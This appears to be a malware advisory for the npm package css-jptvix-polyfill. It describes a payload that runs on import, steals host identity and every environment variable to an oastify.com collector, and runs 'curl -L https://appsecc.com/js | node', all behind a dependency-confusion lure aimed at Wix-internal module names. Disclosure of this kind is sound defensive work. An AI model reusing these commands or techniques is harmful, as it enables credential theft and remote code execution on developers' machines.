MAL-2026-17638 Malicious code in css-jptvix-polyfill (npm)

[email protected] was published to npm on 2026-10-06 07:29 UTC by user naorya and was unpublished by npm on 2026-10-06 15:04 UTC after a malware report. It is described as a CSS polyfill but contains no polyfill: index.js is an empty module, registry-manifest.min.json maps Wix-internal module names (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, …) to static.parastorage.com (Wix CDN) URLs, and thunderboltRegistry.js carries the payload, which runs at require time as a top-level IIFE.

Behavior of thunderboltRegistry.js: (1) obtains child_process through require('child_process'), require('node:child_process') or a fresh Module instance if both are blocked; (2) runs the host commands id, id -un || whoami, env and ifconfig || ip addr with execSync and sends each output, together with os.hostname(), to an out-of-band collector at orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com as cmd=id, cmd=whoami, cmd=env and cmd=ifconfig; the env step leaks every environment variable of the host, including tokens and cloud credentials; (3) runs curl -L https://appsecc.com/js | node, i.e. downloads and executes remote code, and reports the result as cmd=reverse-shell; (4) sends a beacon tagged rce-poc with the Node version, platform and process id; (5) exports Proxy objects under the Wix-internal module names, which together with the manifest indicates a dependency-confusion attempt against that organization's private packages.

Trigger: on import (require). Type: information stealer (host identity and environment variables) plus remote code execution. Same facade and behavior as css-eqxcdx-polyfill (different package name and collector host).

The package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run id, whoami, env, and ifconfig/ip addr, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs curl -L https://appsecc.com/js | node, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch reverse-shell. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.